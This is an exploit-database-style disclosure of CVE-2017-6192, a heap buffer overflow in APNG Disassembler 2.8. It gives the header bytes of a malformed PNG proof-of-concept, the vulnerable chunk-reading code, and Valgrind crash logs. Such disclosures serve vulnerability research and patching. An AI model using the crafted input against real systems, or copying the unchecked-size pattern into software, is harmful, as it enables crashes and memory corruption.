# Exploit Title: APNGDis chunk size descriptor Buffer Overflow
# Date: 14-03-2017
# Exploit Author: Alwin Peppels
# Vendor Homepage: http://apngdis.sourceforge.net/
# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
# Version: 2.8
# Tested on: Linux Debian / Windows 7
# CVE : CVE-2017-6192

Here are the first bytes of the PoC; the chunk size descriptor at +0x8 through +0xC is malformed to an unexpectedly large value.

‰  P  N  G  .  .  .  .  ÿ  ÿ  ÿ  ô  I  H  D  R
89 50 4E 47 0D 0A 1A 0A FF FF FF F4 49 48 44 52 

                         ^  ^  ^  ^
                        {chunk size}

No validation of the supplied chunk size occurs before invoking memcpy to load it into memory:

inline unsigned int read_chunk(FILE * f, CHUNK * pChunk)
{
	unsigned char len[4];
	pChunk->size = 0;
	pChunk->p = 0;
	if (fread(&len, 4, 1, f) == 1)
	{
		pChunk->size = png_get_uint_32(len) + 12;
		pChunk->p = new unsigned char[pChunk->size];
		memcpy(pChunk->p, len, 4);

This causes a heap buffer overflow, for some values corrupting the linked list structure (0xfffffff4) , for others triggering a huge allocation without segfault (0xfffffffa).

Valgrind with two varying chunk size descriptors:

chunk size:F0 00 00 00
Here we can see Valgrind repot that ~4GB of RAM has been allocated without error.

APNG Disassembler 2.8

Reading './fuzz-output/crashes.2017-02-20-09:12:41/ihdr_tst'...
==3137== Warning: set address range perms: large range [0x395fe040, 0x1295fe04c) (undefined)
==3137== Warning: set address range perms: large range [0x395fe028, 0x1295fe064) (noaccess)
load_apng() failed: './fuzz-output/crashes.2017-02-20-09:12:41/ihdr_tst'
==3137==
==3137== HEAP SUMMARY:
==3137==     in use at exit: 0 bytes in 0 blocks
==3137==   total heap usage: 5 allocs, 5 frees, <strong>4,026,610,228 bytes allocated</strong>
==3137==
==3137== All heap blocks were freed -- no leaks are possible
==3137==
==3137== For counts of detected and suppressed errors, rerun with: -v
==3137== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)

chunk size:FF FF FF F4

valgrind  --leak-check=full ./symboled/apngdis  ./ihdr_tst
==3021== Memcheck, a memory error detector
==3021== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==3021== Using Valgrind-3.12.0 and LibVEX; rerun with -h for copyright info
==3021== Command: ./symboled/apngdis ./fuzz-output/crashes.2017-02-20-09:12:41/ihdr_tst
==3021==
APNG Disassembler 2.8
Reading './ihdr_tst'...
==3021== Invalid write of size 4
==3021==    at 0x10B502: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:113)
==3021==    by 0x109F96: load_apng(char*, std::vector&lt;APNGFrame, std::allocator&lt;APNGFrame&gt; &gt;&amp;) (apngdis.cpp:206)
==3021==    by 0x10B24E: main (apngdis.cpp:498)
==3021==  Address 0x5ed3370 is 0 bytes after a block of size 0 alloc'd
==3021==    at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
==3021==    by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112)
==3021==    by 0x109F96: load_apng(char*, std::vector&lt;APNGFrame, std::allocator&lt;APNGFrame&gt; &gt;&amp;) (apngdis.cpp:206)
==3021==    by 0x10B24E: main (apngdis.cpp:498)
==3021==
==3021== Invalid write of size 1
==3021==    at 0x4C330AD: __GI_mempcpy (vg_replace_strmem.c:1518)
==3021==    by 0x5B94B0D: _IO_file_xsgetn (fileops.c:1400)
==3021==    by 0x5B89AA8: fread (iofread.c:38)
==3021==    by 0x10B52B: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:114)
==3021==    by 0x109F96: load_apng(char*, std::vector&lt;APNGFrame, std::allocator&lt;APNGFrame&gt; &gt;&amp;) (apngdis.cpp:206)
==3021==    by 0x10B24E: main (apngdis.cpp:498)
==3021==  Address 0x5ed338c is 28 bytes after a block of size 0 in arena "client"
==3021==

Here we can see the effect on the heap meta-data:

valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.
valgrind: Heap block lo/hi size mismatch: lo = 64, hi = 90194313415.
This is probably caused by your program erroneously writing past the
end of a heap block and corrupting heap metadata.  If you fix any
invalid writes reported by Memcheck, this assertion failure will
probably go away.  Please try that before reporting this as a bug.

With APNGDis’ and Valgrinds internal stack trace as a result

==3021==    at 0x38085208: show_sched_status_wrk (m_libcassert.c:343)
==3021==    by 0x38085324: report_and_quit (m_libcassert.c:419)
==3021==    by 0x380854B1: vgPlain_assert_fail (m_libcassert.c:485)
==3021==    by 0x38092F44: get_bszB_as_is (m_mallocfree.c:301)
==3021==    by 0x38092F44: get_bszB (m_mallocfree.c:311)
==3021==    by 0x38092F44: get_pszB (m_mallocfree.c:385)
==3021==    by 0x38092F44: vgPlain_describe_arena_addr (m_mallocfree.c:1586)
==3021==    by 0x3807E773: vgPlain_describe_addr (m_addrinfo.c:186)
==3021==    by 0x3807CF93: vgMemCheck_update_Error_extra (mc_errors.c:1200)
==3021==    by 0x3808124A: vgPlain_maybe_record_error (m_errormgr.c:812)
==3021==    by 0x3807C592: vgMemCheck_record_memparam_error (mc_errors.c:827)
==3021==    by 0x38054563: check_mem_is_addressable (mc_main.c:4254)
==3021==    by 0x380DABBE: vgPlain_client_syscall (syswrap-main.c:1906)
==3021==    by 0x380D769A: handle_syscall (scheduler.c:1118)
==3021==    by 0x380D8D06: vgPlain_scheduler (scheduler.c:1435)
==3021==    by 0x380E82D6: thread_wrapper (syswrap-linux.c:103)
==3021==    by 0x380E82D6: run_a_thread_NORETURN (syswrap-linux.c:156)
sched status:
  running_tid=1

Thread 1: status = VgTs_Runnable (lwpid 3021)
==3021==    at 0x5BFD5A0: __read_nocancel (syscall-template.S:84)
==3021==    by 0x5B94A53: _IO_file_xsgetn (fileops.c:1442)
==3021==    by 0x5B89AA8: fread (iofread.c:38)
==3021==    by 0x10B52B: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:114)
==3021==    by 0x109F96: load_apng(char*, std::vector&lt;APNGFrame, std::allocator&lt;APNGFrame&gt; &gt;&amp;) (apngdis.cpp:206)
==3021==    by 0x10B24E: main (apngdis.cpp:498)